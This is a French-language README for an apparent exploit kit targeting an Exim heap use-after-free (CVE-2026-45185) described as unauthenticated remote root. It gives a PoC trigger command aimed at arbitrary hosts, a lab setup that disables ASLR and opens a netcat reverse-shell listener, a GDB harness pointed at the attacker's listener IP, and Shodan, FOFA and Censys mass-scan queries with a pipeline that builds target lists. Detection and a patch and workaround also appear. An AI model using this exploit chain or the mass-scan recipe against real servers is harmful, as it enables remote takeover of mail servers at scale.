CVE-2026-45185 — Dead.Letter : UAF du tas Exim menant à un root à distance

CVSS 9.8 Critique | Exim 4.97–4.99.2 | Builds Ubuntu / GnuTLS | Sans authentification

Analyse complète avec trace GDB, analyse pas à pas et données d'exposition mondiales :
https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html

Qu'est-ce que c'est

L'envoi d'une alerte TLS close_notify pendant qu'Exim est en plein transfert du corps BDAT amène tls_close() à appeler gnutls_deinit(), libérant la structure gnutls_session_int de 7 304 octets. La couche de réception BDAT conserve un pointeur obsolète. Lorsque la boucle de lecture du corps reprend, tls_getbuf → gnutls_record_recv déréférence la session libérée — use-after-free du tas, avant authentification, sans aucune information d'identification requise.

Corrigé dans Exim 4.99.3.

Affecté

Alpine Linux et les Exim auto-compilés liés à OpenSSL ne sont pas affectés.

Fichiers

poc.py — Déclencheur d'UAF

python3 poc.py <host> <port> <rcpt@domain>

# example
python3 poc.py mail.example.com 587 [email protected]

Si le serveur reste actif après le déclencheur, le chemin de l'UAF existe. S'il plante, quelque chose a changé dans le comportement de tcache.

diag19_gdb.py — Harnais GDB (laboratoire uniquement)

Mise en place du lab Docker (5 minutes)

# 1. Pull Ubuntu 22.04 + install Exim 4.97 with GnuTLS
docker run -it --name exim4-lab ubuntu:22.04 bash
apt-get update && apt-get install -y exim4 gdb python3

# 2. Disable ASLR (required for hardcoded addresses)
echo 0 | tee /proc/sys/kernel/randomize_va_space

# 3. Configure Exim — enable CHUNKING + STARTTLS, listen on all interfaces
dpkg-reconfigure exim4-config   # choose "internet site", accept defaults

# 4. Start Exim under GDB with harness loaded
gdb -q -x /path/to/diag19_gdb.py --args /usr/sbin/exim4 -bd -d

# 5. In another terminal, run the trigger
python3 poc.py 127.0.0.1 25 user@localhost

# 6. Start a listener for the reverse shell
nc -lvp 4444

Avant d'exécuter : modifiez CMD dans diag19_gdb.py pour pointer vers l'IP de votre listener.
L'adresse SYSTEM est résolue dynamiquement au chargement — aucune recherche manuelle nécessaire.
Les deux adresses dans PostTlsCloseFin (lwr_receive_getbuf, tls_getbuf) sont internes à Exim et doivent correspondre à votre build :

(gdb) p &lwr_receive_getbuf
(gdb) p tls_getbuf

CVE-2026-45185.yaml — Détection Nuclei

# Single target
nuclei -t CVE-2026-45185.yaml -u mail.target.com -v

# Target list
nuclei -t CVE-2026-45185.yaml -l smtp-hosts.txt

# Mass scan from Shodan results
shodan search '"Exim 4.97" "Ubuntu" "CHUNKING" port:25' --fields ip_str,port | \
  awk '{print $1":"$2}' > targets.txt
nuclei -t CVE-2026-45185.yaml -l targets.txt

Logique de détection

Le modèle exécute deux étapes indépendantes :

1. Empreinte EHLO — envoie EHLO, vérifie les trois conditions requises :

   • Version regex 4.97–4.99.2
   • Ubuntu dans la bannière (liaison GnuTLS confirmée)
   • CHUNKING dans les capacités

2. Sonde BDAT — envoie BDAT 200 sans RCPT TO, correspond au 503 spécifique d'Exim :

   root@kitploit:~

   503 valid RCPT command must precede BDAT
   

Requêtes de scan de masse

# Shodan
"Exim 4.97" "Ubuntu" "CHUNKING" port:25,587

# FOFA
banner="Exim 4.97" && banner="Ubuntu" && banner="CHUNKING" && (port="25" || port="587")

# Censys
services.smtp.banner:"Exim 4.97" and services.smtp.banner:"Ubuntu"

Remédiation

Mettez à niveau vers Exim 4.99.3 ou ultérieur (correctif officiel).

Solution de contournement (aucune voie d'exploitation, aucun redémarrage requis pour les tests) :

# exim4.conf
chunking_advertise_hosts = !*

Puis service exim4 restart.

Chronologie

Références

• Analyse : https://0init.github.io/cve-2026-45185-dead-letter-exim-rce.html
• Avis XBOW : https://xbow.com/blog/dead-letter-cve-2026-45185-xbow-found-rce-exim
• NVD : https://nvd.nist.gov/vuln/detail/CVE-2026-45185

par @0Init